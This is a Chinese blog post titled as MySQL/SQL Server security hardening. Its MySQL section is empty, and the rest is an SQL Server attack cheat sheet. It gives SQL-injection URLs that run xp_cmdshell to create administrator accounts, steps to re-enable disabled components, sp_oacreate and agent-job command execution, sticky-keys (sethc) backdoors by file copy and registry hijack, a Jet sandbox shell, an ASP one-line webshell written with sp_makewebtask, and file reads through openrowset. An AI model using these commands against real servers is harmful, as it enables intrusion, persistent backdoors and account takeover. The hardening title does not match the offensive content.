Database(Mysql、Sqlserver) Configuration Security Reinforcement

目录

1. 引言
2. Mysql
3. Sqlserver

1. 引言

黑客获取了数据库的帐号密码之后,就可以通过Database Client登录数据库,利用SQL指令、数据库指令执行组件进行进一步的提权渗透操作

2. Mysql

3. Sqlserver

0x1: 指令执行加固

1. 创建系统账户

利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户

1. 创建系统账户
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令

如果出现:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 
则必须先开启xp_cmdshell的组件

EXEC master..xp_cmdshell 'ipconfig'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/

Relevant Link:

http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm

2. 创建数据库的登录账户(注意和系统的登录账户区分开来)

exec master.dbo.sp_addlogin little,123456;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go

3. 开启3389或者telnet
这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet

//telnet
xp_servicecontrol 'start','tlntsvr'

如果开启了telnet服务之后,我们用系统账户去登入出现了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
则可以尝试再开启:seclogon服务
xp_servicecontrol 'start','seclogon'
可能能解决问题

//3389远程桌面的服务名是:termservice
xp_servicecontrol 'start','termservice'

4. sp_oacreate

1. 创建用户
use master 
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"'

2. 开启服务
use master 
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"'
//cmd命令可以任意

/*
如果出现:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"
可以尝试开启 Ole Automation Procedures 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
*/

5. scripting.filesystemobject

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:windowssystem32cmd.exe' ,'c:windowssystem32sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';
/*
这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator大一些
*/

6. Shell.Application

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:windowssystem32','',1;

7. Shell.Application

1. 开启SQLSERVERAGENT服务
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

2. 执行指令 
use msdb 
create table [jncsql](resulttxt nvarchar(1024) null) 
exec sp_delete_job null,'x' exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user little /add"' 
exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';

8. SandBoxMode(沙盒模式)

在access里调用VBS的shell函数,以system权限执行任何命令

1. 打开SandBoxmode
//使用这个函数之前必须把注册表里的SandBoxmode开关打开
注册表:
HKEY_LOCAL_MACHINESoFtWareMicrisoftJet4.0EngineSandBoxmode
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWareMicrisoftJet4.0EngineSandBoxmode' 
默认值为2,这个人键值为0表示开启
    1) 修复注册表的读写
    use master
    go
    dbcc addextendedproc ('xp_regread','xpstar.dll')
    dbcc addextendedproc ('xp_regwrite','xpstar.dll')

    2) 修改沙盒的保护模式
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

2. 查看'SandBoxMode'值是否已经变成0了(1或0都可以执行命令)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode'

3. 最后调用沙盒模式
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:windowssystem32iasias.mdb','select shell("net user little 123456 /add")');

4. cmd.exe的权限不对,是不会有回显的
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:web
et.exe user user little 123456 /add")')

5. 可以输入一下命令来执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regread  HKEY_LOCAL_MACHINE ,'SoftwareMicrosoftJet4.0engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net user little 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")')
/*
如果出现:
SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"尝试:
启用Ad Hoc Distributed Queries: 
exec sp_configure 'show advanced options',1  
reconfigure  
exec sp_configure 'Ad Hoc Distributed Queries',1  
reconfigure   

使用完成后,关闭Ad Hoc Distributed Queries: 
exec sp_configure 'Ad Hoc Distributed Queries',0  
reconfigure  
exec sp_configure 'show advanced options',0  
reconfigure  
*/

Relevant Link:

http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml

9. 直接备份一句话木马

exec sp_makewebtask 'WEB绝对路径/fuck.asp',' select ''<%eval request("op")%>'' ';--
//WEB与DATA在同一主机,知道WEB目录 

例如:
exec sp_makewebtask 'C:Inetpubwwwrootfuck.asp',' select ''<%eval request("op")%>'' ';--

/*
如果出现了:
SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

可以尝试
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Web Assistant Procedures', 1;
GO
RECONFIGURE
GO
*/

10. 操作注册表

除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetservicesLanmanServerParameters', 'Guid'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

11. 其他命令

1. xp_servicecontrol: 允许用户启动、停止服务
exec master..xp_servicecontrol 'start', 'schedule'

2. exec master..xp_availablemedia: 显示机器上有用的驱动器

3. exec master..xp_dirtree: 允许获得一个目录树

4. exec master..xp_enumdsn: 列举服务器上的ODBC数据源

5. exec master..xp_loginconfig: 获取服务器上的安全信息

6. exec master..xp_makecab: 允许用户在服务器上创建一个压缩文件

7. exec master..xp_ntsec_enumdomains: 列举服务器可以进入的域

8. exec master..xp_terminate_process: 提供进程的进程ID,终止此进程

12.利用openrowset读取敏感数据

要完成这个攻击,有几个必要条件

1. sqlserver具有操作system目录、文件的权限
2. 黑客得到了sqlserver的帐号、密码

利用sqlserver的文件IO操作功能,进行二进制流的操作,将cmd.exe文件覆盖到粘滞键程序中,形成shift后门

select * from openrowset(BULK N'C:WINDOWSsystem32cmd.exe', SINGLE_BLOB) AS Contents  
select * from openrowset(BULK N'C:secret.txt', SINGLE_CLOB) AS Contents 

13. 注册表劫持粘贴键

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution
 Optionssethc.EXE','Debugger','REG_SZ','C:WINDOWSexplorer.exe';

14. sp_oacreate替换粘贴键

declare @o int
 exec sp_oacreate 'scripting.filesystemobject', @o out
 exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';
 declare @oo int
 exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';

15. public权限提权操作

USE msdb
 EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
 @enabled = 1,
 @description = 'This will give a low privileged user access to
 xp_cmdshell',
 @delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
 @step_name = 'Exec my sql',
 @subsystem = 'TSQL',
 @command = 'exec master..xp_execresultset N''select ''''exec
 master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''
 EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
 @server_name = 'SERVER_NAME'
 EXEC sp_start_job @job_name = 'GetSystemOnSQL'

16. sp_OACreate加载COM组件shell.user加管理员用户

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

Relevant Link:

http://blog.csdn.net/it_zen/article/details/1545725
http://www.2cto.com/Article/201112/112946.html

Copyright (c) 2014 LittleHann All rights reserved

原文地址:https://www.cnblogs.com/LittleHann/p/4322790.html